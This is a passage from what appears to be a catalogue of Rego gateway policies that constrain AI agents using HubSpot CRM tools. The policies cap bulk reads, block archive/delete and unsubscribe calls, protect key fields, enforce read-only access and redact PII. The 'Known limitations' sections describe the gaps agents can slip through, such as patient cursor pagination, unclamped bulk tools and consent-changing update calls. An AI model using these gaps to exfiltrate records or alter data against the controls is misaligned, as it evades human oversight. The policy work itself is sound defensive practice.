args to `{ "objectType": "contacts", "query": "smith", "limit": 50 }`. A call with no `limit` at all gets `limit: 50` injected the same way. ## Composition This policy bounds record *volume*; it does not mask record *content*. Pair it with: - [`apps/hubspot/redact-pii`](../redact-pii/policy.md) — egress masking of contact identifiers in whatever records are returned. Together they enforce minimisation on both the query and the response. - [`apps/hubspot/read-only`](../read-only/policy.md) — if agents should not write to the CRM at all. ## Known limitations - **Per-request caps do not stop patient pagination.** An agent that walks the `after` cursor page by page can still enumerate the full dataset — it just takes 4× as many calls at `limit: 50`. Detecting cursor-driven crawls requires cross-request state the policy engine does not have; use gateway audit logs / alerting to spot high-frequency paging. - **shinzo per-engagement read tools are not clamped.** The shinzo server exposes `calls_/emails_/meetings_/notes_/tasks_` `list` / `search` / `batch_read` tools — bulk-read channels for engagement bodies, which frequently carry customer PII/PHI verbatim — but their argument shapes (the `limit` key and the batch array key) are not verified, so this policy does **not** clamp them. An agent that calls `emails_search`, `calls_list`, etc. can still request large pages. Add their suffixes to `limit_tool_suffixes` / `batch_array_keys` once you have confirmed the live shape from `tools/list`. - **The baryhuang community server is not covered.** Its bulk reads (`hubspot_get_active_contacts`, `hubspot_get_active_companies`, `hubspot_search_data`) use a distinct name family and are not clamped; `hubspot_search_data` additionally vectorises CRM data into a local store *outside* HubSpot. The 50-record bound holds for the remote and local-beta families plus the four shinzo CRM search/list names listed above — not for every conceivable HubSpot MCP server. Extend the suffix lists per server. - **`get_crm_objects` ID parameter name is partially verified.** The 100-ID capacity is documented, the exact key is not; the policy covers `ids` and `objectIds`. An implementation using a different key passes through unclamped until you add it. - **Only the listed argument keys are clamped.** A server that spells the page size differently (`pageSize`, `maxResults`, `count`) is not covered — extend the policy if your `tools/list` shows other shapes. - **No identity-based exemptions.** All callers are clamped equally. If a data-ops group legitimately needs full-page reads, add an `input.subject.claims`-gated bypass as a separate rule. > **Compliance note.** This policy supports alignment with the cited framework > controls **on the MCP path only**. No policy or bundle makes an organization > compliant with any framework; web-UI, native-API, and in-app access are > outside the gateway's reach by design. Validate against your own compliance > program before relying on it. ```rego package hubspot.ingress.cap_bulk_export # Transform-only policy — never denies, only clamps bulk-read page sizes. default allow := true # Maximum records a single agent call may request. max_records := 50 # --- Tool matching ----------------------------------------------------------- # The gateway prefixes tool names with the configured MCP server name, so we # match case-insensitively by suffix to stay portable. Verify the exact names # your gateway sends with the dump-input debug technique before production use. # Search/list tools that take a numeric `limit` argument. # Remote server family: search_crm_objects # Local beta family: hubspot-search-objects, hubspot-list-objects # shinzo family: crm_list_objects, crm_search_objects, # crm_search_contacts, crm_search_companies limit_tool_suffixes := [ "search_crm_objects", "hubspot-search-objects", "hubspot-list-objects", "crm_list_objects", "crm_search_objects", "crm_search_contacts", "crm_search_companies", ] is_limit_tool if { some suffix in limit_tool_suffixes endswith(lower(input.resource.name), suffix) } # Ids-style batch reads: get_crm_objects (remote, <=100 IDs) and # hubspot-batch-read-objects (local beta, `inputs` array). is_batch_tool if { endswith(lower(input.resource.name), "get_crm_objects") } is_batch_tool if { endswith(lower(input.resource.name), "hubspot-batch-read-objects") } # --- Argument access (object.get everywhere — fields may be missing) --------- args := object.get(input.payload, "args", {}) limit_value := object.get(args, "limit", null) # Clamp when `limit` is absent (the remote server otherwise defaults up to # 200 records per page). needs_limit_clamp if { limit_value == null } # Clamp when a numeric `limit` exceeds the cap. needs_limit_clamp if { is_number(limit_value) limit_value > max_records } # Clamp when a numeric `limit` is below 1 (0 or negative). Some servers treat a # non-positive `limit` as "unbounded" or silently fall back to their large # default page, so `limit: 0` / `limit: -1` would otherwise be a fail-open # bypass of the cap. Any numeric limit outside [1, max_records] is normalised. needs_limit_clamp if { is_number(limit_value) limit_value < 1 } # Clamp when `limit` is present but not a number (fail safe: replace an # unparseable value with the cap rather than letting the server default win). needs_limit_clamp if { limit_value != null not is_number(limit_value) } # --- Batch truncation -------------------------------------------------------- # `inputs` is the verified key for hubspot-batch-read-objects; `ids` and # `objectIds` cover the common shapes for get_crm_objects (exact key not # fully published by HubSpot — see Known limitations). batch_array_keys := ["ids", "objectIds", "inputs"] oversized_batch_keys contains key if { some key in batch_array_keys value := object.get(args, key, []) is_array(value) count(value) > max_records } truncated_batch_args := {key: truncated | some key in oversized_batch_keys truncated := array.slice(object.get(args, key, []), 0, max_records) } # --- Transforms --------------------------------------------------------------- # Only one of these can fire per call: the limit-tool and batch-tool suffix # sets are disjoint, so the complete `transform` rule never conflicts. # Rewrite (or inject) `limit` on search/list tools. transform := {"transformed_payload": object.union(args, {"limit": max_records})} if { input.action == "tool_pre_invoke" is_limit_tool needs_limit_clamp } # Truncate oversized ID/inputs arrays on batch-read tools. transform := {"transformed_payload": object.union(args, truncated_batch_args)} if { input.action == "tool_pre_invoke" is_batch_tool count(oversized_batch_keys) > 0 } ``` ### HubSpot Freeze Destructive Ops URL: https://www.intentbasedpolicy.com/policies/hubspot/freeze-destructive-ops App(s): hubspot | Direction: ingress | Bundles: crm, soc2 | Package: hubspot.ingress.freeze_destructive_ops | Published: 2026-07-12 | Tags: hubspot, freeze-destructive-ops, archive, consent, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/hubspot/freeze-destructive-ops/policy.md # hubspot / freeze-destructive-ops **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `hubspot.ingress.freeze_destructive_ops` ## What it does Blocks every archive/deletion-class HubSpot tool call, plus the consent-destroying contact unsubscribe, before it reaches the MCP server. Two classes are denied: - **Deletion/archive-class tools** — any tool whose name contains a destructive verb token (`archive`, `delete`, `void`, or `purge`) delimited by `_` or `-`. On the `@shinzolabs/hubspot-mcp` community server the verified destructive surface all uses `archive`: `crm_archive_object`, `crm_batch_archive_objects`, `calls_archive`, `emails_archive`, `meetings_archive`, `notes_archive`, `tasks_archive`, their `*_batch_archive` variants, `crm_archive_association`, and `products_archive`. The `delete`/`void`/`purge` verbs are forward-guard coverage (family PF-06) for a server swap or an upstream release that names deletion differently — no currently verified HubSpot tool uses them. - **Consent destruction** — `communications_unsubscribe_contact`, which irreversibly flips a contact's subscription/consent state. There is **no identity exemption**: records and consent state survive agent error or prompt injection regardless of who the caller is. All other tools pass through unchanged. ## Compliance alignment - **SOC 2 PI1.5** — supports the integrity of stored records: agent-initiated archival of CRM objects, engagements, associations, and products is denied on the MCP path, so records survive agent error or injection. - **HIPAA §164.312(c)** — supports the integrity (anti-alteration/destruction) safeguard where CRM records reference patient contacts; **§164.530(c)** — supports privacy safeguards by keeping consent state under human control. - **GDPR Art. 5(1)(d)** — supports accuracy by preventing agent mass-destruction of records and of subscription/consent state that is hard to reconstruct. ## Why ingress and not egress Archival and unsubscribe are writes with permanent side effects — once the call reaches HubSpot the record is gone from active use and the consent flag has flipped. Egress can only mask the response, not undo the action. Ingress denial is the only placement that actually prevents the destruction. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `hubspot-mcp-crm_archive_object`), and that prefix is not standardized, so the policy matches name shapes rather than exact strings: - **Destructive-verb token:** regex `(?:^|[_-])(?:archive|delete|void|purge)(?:[_-]|$)` on the lowercased tool name — a destructive verb bounded by `_`/`-` or the ends of the name. This catches suffix forms (`calls_archive`, `tasks_batch_archive`), mid-name forms (`crm_archive_object`, `crm_batch_archive_objects`, `crm_archive_association`), and kebab-case variants (`products-archive`), without matching unrelated words such as `archived` or `deleted`. HubSpot's verified destructive tools all use `archive`; the `delete`/`void`/`purge` alternatives fire only if a future or swapped server names deletion that way. - **Unsubscribe suffix:** the lowercased name ends with `unsubscribe_contact` or `unsubscribe-contact`. The suffix is long enough that `communications_subscribe_contact` (the legitimate opt-in tool) does **not** match. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape None. The decision is made purely on the tool name — arguments are never inspected, so the policy fails closed on the name alone even when `args` is empty or missing. ## Examples ### Allowed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "hubspot-mcp-crm_list_objects", "type": "tool" }, "payload": { "name": "hubspot-mcp-crm_list_objects", "args": { "objectType": "contacts", "limit": 10 } } } } ``` `allow = true`, no reason. ### Denied ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "hubspot-mcp-crm_archive_object", "type": "tool" }, "payload": { "name": "hubspot-mcp-crm_archive_object", "args": { "objectType": "contacts", "objectId": "12345" } } } } ``` `allow = false`, `reason = "Agent-initiated deletion or archival of HubSpot records is disabled on the MCP path. Delete or archive records in the HubSpot UI, where the action is audited and can be undone. Contact your admin if this blocks a legitimate workflow."` ## Composition This policy is single-purpose — it freezes destruction. Useful companions from the same app directory: - `hubspot/read-only` — the stricter posture: allow only read tools. - A consent-protection policy gating `communications_update_subscription_status` / `communications_update_preferences`, which can also change consent state but are not outright unsubscribes and are therefore out of scope here. - `hubspot/protect-associations`, `hubspot/protect-lifecycle-stage` — guard other integrity-critical write paths. ## Known limitations - **Community-server-specific surface.** Only the `@shinzolabs/hubspot-mcp` community server exposes these destructive tools. HubSpot's official remote server (`mcp.hubspot.com`) and local beta (`@hubspot/mcp-server`) currently ship **no** delete/archive tools, so on those servers this policy never fires. Keep it attached anyway — it is a forward guard against a server swap or an upstream release that adds destructive tools. - **Token match is deliberately broad.** Any tool whose name contains a delimited destructive-verb token (`archive`/`delete`/`void`/`purge`) is blocked, including hypothetical future read-side tools (e.g. a `list-archive-items`). That over-match is the conservative direction for a destruction freeze; narrow the regex if it bites in your environment. - **Server-prefix over-match (false positive).** Because the gateway prefixes tool names with the configured MCP server name and the match is not anchored to the tool segment, a server literally named with a leading destructive verb — e.g. `archive-mcp` or `delete-svc` — makes the leading `archive-`/`delete-` segment match, so *every* benign read on that server (e.g. `archive-mcp-crm_list_objects`) is denied. Name the HubSpot server something neutral (`hubspot`, `hubspot-mcp`) to avoid this; it does not weaken the freeze, it only over-blocks. - **Match relies on exact upstream tool names.** Detection is on the tool name only, so an obfuscated name — trailing whitespace/newline (`...unsubscribe_contact\n`), unicode homoglyphs, or split/renamed tokens — does not match and is allowed through. This is not an exploitable bypass: the gateway forwards the name verbatim and the upstream MCP server routes a call only when the name matches a registered tool exactly, so a mangled name cannot invoke the real destructive tool — it simply errors upstream. Confirm the exact names your gateway sends (dump-input) before relying on the suffix/token shapes. - **Consent updates are not fully covered.** shinzo's `communications_update_subscription_status` and `communications_update_preferences` can effectively unsubscribe a contact by setting the status value; this policy blocks only the dedicated unsubscribe tool. Pair with a consent-protection policy (see Composition). - **No identity-based exemptions — by design.** There is no break-glass group; humans perform archival and unsubscribe in the HubSpot UI, where audit and undo exist. If you must exempt a group, add an `allow if` branch gated on `input.subject.claims`. - **MCP path only.** Deletion via the HubSpot web UI or native API is outside the gateway's reach. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package hubspot.ingress.freeze_destructive_ops # Deny-by-default: only the explicit allow rule below permits a request. default allow := false # Lowercased tool name, fetched with object.get so a missing resource/name # yields "" (and therefore a clean non-match) instead of a silent rule failure. tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) # Deletion/archive-class tools: a destructive verb token (archive | delete | # void | purge) bounded by `_`/`-` or the ends of the name. On shinzo every # verified destructive tool uses "archive" — calls_archive / emails_archive / # meetings_archive / notes_archive / tasks_archive, their *_batch_archive # variants, crm_archive_object, crm_batch_archive_objects, # crm_archive_association, products_archive, and kebab-case renderings. The # other verbs (delete/void/purge) are forward-guard coverage per policy family # PF-06 for a server swap or upstream release that names deletion differently; # no currently verified HubSpot tool uses them, so they never fire today. The # delimiter bounding avoids matching words like "archived" or "deleted". is_delete_archive_tool if { regex.match(`(?:^|[_-])(?:archive|delete|void|purge)(?:[_-]|$)`, tool_name) } # Consent destruction: shinzo's communications_unsubscribe_contact. Suffix # match keeps the policy portable across gateway server-name prefixes; the # suffix is long enough that communications_subscribe_contact never matches. is_unsubscribe_tool if { endswith(tool_name, "unsubscribe_contact") } # Kebab-case portability variant of the same operation. is_unsubscribe_tool if { endswith(tool_name, "unsubscribe-contact") } is_destructive_tool if is_delete_archive_tool is_destructive_tool if is_unsubscribe_tool # Allow everything that is not a destructive-class tool. No identity # exemption: records and consent state survive agent error or prompt # injection regardless of who the caller is. allow if { not is_destructive_tool } reasons contains "Agent-initiated deletion or archival of HubSpot records is disabled on the MCP path. Delete or archive records in the HubSpot UI, where the action is audited and can be undone. Contact your admin if this blocks a legitimate workflow." if { is_delete_archive_tool } reasons contains "Agent-initiated unsubscribes are disabled on the MCP path because they irreversibly destroy a contact's consent state. Manage subscription preferences in the HubSpot UI, where the change is audited. Contact your admin if this blocks a legitimate workflow." if { is_unsubscribe_tool } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### HubSpot Protect Associations URL: https://www.intentbasedpolicy.com/policies/hubspot/protect-associations App(s): hubspot | Direction: ingress | Bundles: crm | Package: hubspot.ingress.protect_associations | Published: 2026-06-16 | Tags: hubspot, associations, access-control, governance, ingress Source: https://github.com/dtwoai/policy-store/blob/main/apps/hubspot/protect-associations/policy.md # hubspot / protect-associations **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `hubspot.ingress.protect_associations` ## What it does Blocks HubSpot CRM-object calls that create or change associations between objects (deal↔company, contact↔company, etc.). Any `hubspot-manage-crm-objects` call carrying a non-empty `associations` array on one or more objects — in either `createRequest` or `updateRequest` — is denied. Every other call, including object create/update with no association payload, passes through unchanged. ## Compliance alignment - **SOC 2 PI1.5** — integrity of stored records: blocks agent rewiring of the CRM relationships that reporting rollups, workflow enrollment, and record visibility depend on. - **GDPR Art. 5(1)(d)** — accuracy: prevents agent-driven mis-linking of personal records (contact↔company, deal↔contact) that would silently corrupt personal data at scale. ## Why ingress Associations are structural CRM relationships with downstream effects (reporting rollups, workflow enrollment, record visibility). The violation is fully determined by the request payload, so denying at ingress prevents the association change from ever reaching HubSpot. ## How it matches Two conditions must both hold for a call to be denied: - **Tool match.** The (lowercased) tool name ends with `-manage-crm-objects` — the HubSpot MCP tool that creates and updates CRM records. Suffix matching keeps the policy portable regardless of the MCP server name the gateway adds as a prefix. - **Association payload present.** Within the call's `createRequest.objects` or `updateRequest.objects`, at least one object has a non-empty `associations` array (`count(...) > 0`). ## Tool naming on the gateway DTwo prefixes tool names with the MCP server name configured on the gateway, so a HubSpot server registered as `hubspot` surfaces `hubspot-manage-crm-objects` while one registered as `hubspot-mcp` surfaces `hubspot-mcp-manage-crm-objects`. This policy matches on the **suffix** (`-manage-crm-objects`) so it stays portable across naming conventions. Confirm the exact tool name with the dump-input debug technique before deploying. ## Examples ### Allowed (object update with no associations) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "hubspot-manage-crm-objects", "type": "tool" }, "payload": { "name": "hubspot-manage-crm-objects", "args": { "updateRequest": { "objects": [ { "objectType": "deals", "id": "12345", "properties": { "amount": "500" } } ] } } } } } ``` `allow = true`, no reason. ### Denied (association change) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "hubspot-manage-crm-objects", "type": "tool" }, "payload": { "name": "hubspot-manage-crm-objects", "args": { "updateRequest": { "objects": [ { "objectType": "deals", "id": "12345", "associations": [ { "to": { "id": "67890" }, "types": [ { "associationCategory": "HUBSPOT_DEFINED", "associationTypeId": 5 } ] } ] } ] } } } } } ``` `allow = false`, `reason = "Modifying associations is not permitted through this gateway. Contact your admin to manage object associations."`. ## Known limitations - **Suffix tool-name match.** The policy matches any tool ending in `-manage-crm-objects`. If a non-HubSpot MCP server happened to expose a tool with that same suffix, it would also be inspected — narrow the match if that is a concern in your environment. - **Presence-based, not value-aware.** The policy denies whenever a non-empty `associations` array is present; it does not distinguish which objects are being linked. Narrow the rule if you need to allow specific association types. - **No identity-based exemptions.** All callers are treated the same. To allow a break-glass role to manage associations, add an `allow if` branch gated on `input.subject.claims`. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package hubspot.ingress.protect_associations default allow := false allow if { not is_association_change } is_association_change if { endswith(lower(input.resource.name), "-manage-crm-objects") some obj in object.get(object.get(input.payload.args, "updateRequest", {}), "objects", []) count(object.get(obj, "associations", [])) > 0 } is_association_change if { endswith(lower(input.resource.name), "-manage-crm-objects") some obj in object.get(object.get(input.payload.args, "createRequest", {}), "objects", []) count(object.get(obj, "associations", [])) > 0 } reason := "Modifying associations is not permitted through this gateway. Contact your admin to manage object associations." if not allow ``` ### HubSpot Protect Deal Owner URL: https://www.intentbasedpolicy.com/policies/hubspot/protect-deal-owner App(s): hubspot | Direction: ingress | Bundles: crm | Package: hubspot.ingress.protect_deal_owner | Published: 2026-06-16 | Tags: hubspot, deals, access-control, governance, ingress Source: https://github.com/dtwoai/policy-store/blob/main/apps/hubspot/protect-deal-owner/policy.md # hubspot / protect-deal-owner **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `hubspot.ingress.protect_deal_owner` ## What it does Blocks HubSpot CRM-object update calls that set or change a deal's owner. Any `hubspot-manage-crm-objects` update whose deal `properties` include the `hubspot_owner_id` key is denied — this covers both initial owner assignment and reassignment. Deal creates, other update fields, and all other tools pass through unchanged. ## Compliance alignment - **SOC 2 CC6.3** — role-based access and least privilege: reassigning deal ownership (quota attribution, territory routing) is reserved for humans with CRM admin rights; the agent channel cannot do it. ## Why ingress Deal ownership drives quota attribution, territory routing, and reporting. The violation is fully determined by the request payload, so denying at ingress prevents the ownership change from ever reaching HubSpot. ## How it matches All of the following must hold for a call to be denied: - **Tool match.** The (lowercased) tool name ends with `-manage-crm-objects` (suffix matching keeps the policy portable regardless of the MCP server name prefix the gateway adds). - **Deal update.** An object in `updateRequest.objects` has `objectType` `deals` (case-insensitive). - **Owner field present.** That object's `properties` include the `hubspot_owner_id` key (presence alone triggers the deny — the value is not inspected). Only `updateRequest` is inspected; deal creates are intentionally not blocked. ## Tool naming on the gateway DTwo prefixes tool names with the MCP server name configured on the gateway, so a HubSpot server registered as `hubspot` surfaces `hubspot-manage-crm-objects` while one registered as `hubspot-mcp` surfaces `hubspot-mcp-manage-crm-objects`. This policy matches on the **suffix** (`-manage-crm-objects`) so it stays portable across naming conventions. Confirm the exact tool name with the dump-input debug technique before deploying. ## Examples ### Allowed (deal update with no owner change) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "hubspot-manage-crm-objects", "type": "tool" }, "payload": { "name": "hubspot-manage-crm-objects", "args": { "updateRequest": { "objects": [ { "objectType": "deals", "id": "12345", "properties": { "amount": "500" } } ] } } } } } ``` `allow = true`, no reason. ### Denied (owner reassignment) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "hubspot-manage-crm-objects", "type": "tool" }, "payload": { "name": "hubspot-manage-crm-objects", "args": { "updateRequest": { "objects": [ { "objectType": "deals", "id": "12345", "properties": { "hubspot_owner_id": "99887766" } } ] } } } } } ``` `allow = false`, `reason = "Changing the owner of a deal is not permitted through this gateway. Contact your admin to reassign deals."`. ## Known limitations - **Suffix tool-name match.** The policy matches any tool ending in `-manage-crm-objects`. If a non-HubSpot MCP server happened to expose a tool with that same suffix, it would also be inspected — narrow the match if that is a concern in your environment. - **Updates only.** Deal creates that set `hubspot_owner_id` are not blocked by design. Add a `createRequest` branch if you also want to fix owner at creation. - **No identity-based exemptions.** All callers are treated the same. To allow a break-glass role to reassign deals, add an `allow if` branch gated on `input.subject.claims`. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package hubspot.ingress.protect_deal_owner default allow := false allow if { not is_owner_update } is_owner_update if { endswith(lower(input.resource.name), "-manage-crm-objects") some obj in object.get(object.get(input.payload.args, "updateRequest", {}), "objects", []) lower(object.get(obj, "objectType", "")) == "deals" "hubspot_owner_id" in object.keys(object.get(obj, "properties", {})) } reasons contains "Changing the owner of a deal is not permitted through this gateway. Contact your admin to reassign deals." if { is_owner_update } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### HubSpot Protect Lifecycle Stage URL: https://www.intentbasedpolicy.com/policies/hubspot/protect-lifecycle-stage App(s): hubspot | Direction: ingress | Bundles: crm | Package: hubspot.ingress.protect_lifecycle_stage | Published: 2026-06-16 | Tags: hubspot, contacts, lifecycle, access-control, governance, ingress Source: https://github.com/dtwoai/policy-store/blob/main/apps/hubspot/protect-lifecycle-stage/policy.md # hubspot / protect-lifecycle-stage **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `hubspot.ingress.protect_lifecycle_stage` ## What it does Blocks HubSpot CRM-object calls that set or change a contact's lifecycle stage. Any `hubspot-manage-crm-objects` call where a `contacts` object's `properties` include the `lifecyclestage` key — in either `createRequest` or `updateRequest` — is denied. Non-contact objects, contact edits that don't touch `lifecyclestage`, and all other tools pass through unchanged. ## Compliance alignment - **SOC 2 PI1.2** — inputs complete, accurate, and authorized: lifecycle stage is a processing-integrity-critical input to lead routing and funnel reporting; agent writes to it are unauthorized by default. - **GDPR Art. 5(1)(b)** — purpose limitation: lifecycle stage enrolls contacts in marketing automation, so an agent-set stage can repurpose personal data into new automated communications; blocking it keeps that a human decision. - **GDPR Art. 5(1)(d)** — accuracy: prevents agent mass-corruption of a field that drives automated outreach to data subjects. ## Why ingress Lifecycle stage drives marketing automation, lead routing, and funnel reporting. The violation is fully determined by the request payload, so denying at ingress prevents the stage change from ever reaching HubSpot. ## How it matches All of the following must hold for a call to be denied: - **Tool match.** The (lowercased) tool name ends with `-manage-crm-objects` (suffix matching keeps the policy portable regardless of the MCP server name prefix the gateway adds). - **Contact object.** An object in `createRequest.objects` or `updateRequest.objects` has `objectType` `contacts` (case-insensitive). - **Lifecycle field present.** That object's `properties` include the `lifecyclestage` key (presence alone triggers the deny — the value is not inspected). ## Tool naming on the gateway DTwo prefixes tool names with the MCP server name configured on the gateway, so a HubSpot server registered as `hubspot` surfaces `hubspot-manage-crm-objects` while one registered as `hubspot-mcp` surfaces `hubspot-mcp-manage-crm-objects`. This policy matches on the **suffix** (`-manage-crm-objects`) so it stays portable across naming conventions. Confirm the exact tool name with the dump-input debug technique before deploying. ## Examples ### Allowed (contact update with no lifecycle change) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "hubspot-manage-crm-objects", "type": "tool" }, "payload": { "name": "hubspot-manage-crm-objects", "args": { "updateRequest": { "objects": [ { "objectType": "contacts", "id": "12345", "properties": { "email": "lead@example.com" } } ] } } } } } ``` `allow = true`, no reason. ### Denied (lifecycle stage change) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "hubspot-manage-crm-objects", "type": "tool" }, "payload": { "name": "hubspot-manage-crm-objects", "args": { "updateRequest": { "objects": [ { "objectType": "contacts", "id": "12345", "properties": { "lifecyclestage": "customer" } } ] } } } } } ``` `allow = false`, `reason = "Changing the lifecycle stage of a contact is not permitted through this gateway. Contact your admin to update lifecycle stages."`. ## Known limitations - **Suffix tool-name match.** The policy matches any tool ending in `-manage-crm-objects`. If a non-HubSpot MCP server happened to expose a tool with that same suffix, it would also be inspected — narrow the match if that is a concern in your environment. - **Contacts only.** Only `contacts` objects are inspected; `lifecyclestage` on other object types is not blocked. Extend `is_lifecycle_change` if your environment uses lifecycle stage on companies or custom objects. - **No identity-based exemptions.** All callers are treated the same. To allow a break-glass role to change lifecycle stages, add an `allow if` branch gated on `input.subject.claims`. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package hubspot.ingress.protect_lifecycle_stage default allow := false allow if { not is_lifecycle_change } is_lifecycle_change if { endswith(lower(input.resource.name), "-manage-crm-objects") some obj in object.get(object.get(input.payload.args, "updateRequest", {}), "objects", []) lower(object.get(obj, "objectType", "")) == "contacts" "lifecyclestage" in object.keys(object.get(obj, "properties", {})) } is_lifecycle_change if { endswith(lower(input.resource.name), "-manage-crm-objects") some obj in object.get(object.get(input.payload.args, "createRequest", {}), "objects", []) lower(object.get(obj, "objectType", "")) == "contacts" "lifecyclestage" in object.keys(object.get(obj, "properties", {})) } reason := "Changing the lifecycle stage of a contact is not permitted through this gateway. Contact your admin to update lifecycle stages." if not allow ``` ### HubSpot Read-Only URL: https://www.intentbasedpolicy.com/policies/hubspot/read-only App(s): hubspot | Direction: ingress | Bundles: crm, soc2, gdpr-ccpa | Package: hubspot.ingress.readonly | Published: 2026-06-16 | Tags: hubspot, access-control, governance, read-only, ingress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/hubspot/read-only/policy.md # hubspot / read-only **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `hubspot.ingress.readonly` ## What it does Makes the HubSpot connection read-only by blocking the write tool. Any call to `hubspot-manage-crm-objects` — the create/update tool exposed by the HubSpot MCP server — is denied. Every other HubSpot tool (search, list, read) passes through unchanged. ## Compliance alignment - **SOC 2 CC6.1; CC6.3** — logical access restriction and least privilege: agents get a read-only HubSpot posture; no write reaches the CRM through the gateway. - **HIPAA §164.312(a)(1); §164.308(a)(4)** — access control and information access management on the MCP path, for portals whose contact records carry health-related data. - **PCI DSS 7.2.1; 7.2.2** — least-privilege access model: the agent channel is restricted to the minimum (read) access needed. - **GDPR Art. 25; Art. 29** — data protection by default on the agent channel, and processing only on documented instructions — no unsanctioned agent writes to personal data. - **ISO 27001 A.5.15** — access control: enforces the read-only access decision at a technical control point. ## Why ingress Writes have permanent side effects on the CRM. The connection's read/write posture is fully determined by the tool being called, so denying the write tool at ingress guarantees no mutation reaches HubSpot regardless of the payload. ## How it matches The policy is `default allow := false` and re-allows every tool **except** the one whose (lowercased) name ends with `-manage-crm-objects`. Suffix matching keeps the policy portable regardless of the MCP server name prefix the gateway adds (`hubspot-`, `hubspot-mcp-`, etc.). Confirm the exact tool name with the dump-input debug technique before deploying. ## Examples ### Allowed (read tool) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "hubspot-list-objects", "type": "tool" }, "payload": { "name": "hubspot-list-objects", "args": { "objectType": "deals" } } } } ``` `allow = true`, no reason. ### Denied (write tool) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "hubspot-manage-crm-objects", "type": "tool" }, "payload": { "name": "hubspot-manage-crm-objects", "args": { "updateRequest": { "objects": [ { "objectType": "deals", "id": "12345" } ] } } } } } ``` `allow = false`, `reason = "HubSpot write operations are disabled on this gateway. This connection is read-only."`. ## Known limitations - **Single write tool.** This assumes `hubspot-manage-crm-objects` is the only write tool exposed by the HubSpot MCP server on the gateway. If your server exposes other mutating tools (e.g. dedicated association or engagement endpoints), add their suffixes to the deny condition. - **Suffix tool-name match.** The policy allows any tool that does *not* end in `-manage-crm-objects`. If a non-HubSpot MCP server exposed a tool with that same suffix, it would also be blocked — narrow the match if that is a concern. - **No identity-based exemptions.** All callers are read-only. To allow a break-glass writer, add an `allow if` branch gated on `input.subject.claims`. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package hubspot.ingress.readonly default allow := false allow if { not endswith(lower(input.resource.name), "-manage-crm-objects") } reason := "HubSpot write operations are disabled on this gateway. This connection is read-only." if not allow ``` ### HubSpot Redact PII URL: https://www.intentbasedpolicy.com/policies/hubspot/redact-pii App(s): hubspot | Direction: egress | Bundles: crm, soc2, hipaa, gdpr-ccpa | Package: hubspot.egress.redact_pii | Published: 2026-06-16 | Tags: hubspot, pii, dlp, redaction, egress, soc2, hipaa, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/hubspot/redact-pii/policy.md # hubspot / redact-pii **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `hubspot.egress.redact_pii` ## What it does Redacts sensitive contact information from HubSpot tool responses before they reach the caller. It is transform-only — it never denies a call, it only rewrites matching content to `[REDACTED]`. Any non-HubSpot tool, and any request that isn't on the output path, passes through untouched. ## Compliance alignment - **SOC 2 CC6.7** — restricts transmission and movement of information: contact PII is masked before responses leave the gateway. - **HIPAA §164.502(b) / §164.514(d)** — minimum necessary: callers see CRM records without direct identifiers they don't need; **§164.514(a)–(b)** — supports de-identification by masking Safe-Harbor identifier classes (phone numbers, email addresses, SSNs) in responses. - **GDPR Art. 5(1)(c)** — data minimisation on the agent channel; **CPRA §1798.121** — supports limiting use of sensitive personal information (SSNs are masked); **§1798.150** — reduces nonredacted-PI exposure if agent context is later compromised. - **ISO 27001 A.8.11; A.8.12** — data masking and data-leakage prevention applied at the egress control point. ## Why egress The risk is *reading* PII that lives in HubSpot CRM records (phone numbers, emails, etc.). Those values exist regardless of this gateway, so there is nothing to block at ingress — the leak happens when the content is returned to an MCP client. Masking on the egress (response) path is the only place to catch it. ## Scope / tool matching Applies to any tool whose (lowercased) name starts with `hubspot-`, on the output path (`input.mode == "output"`). Confirm the exact tool names and the server-name prefix your gateway emits with the dump-input debug technique before relying on this in production; if your HubSpot MCP server is registered under a different prefix, adjust the `startswith` check. ## What gets redacted Redaction works two ways. **By field name** — the structured fields `phone`, `mobilephone`, `fax`, `email`, and `hs_email_domain`. And **by pattern** in any string value: - Formatted phone numbers (with separators, e.g. 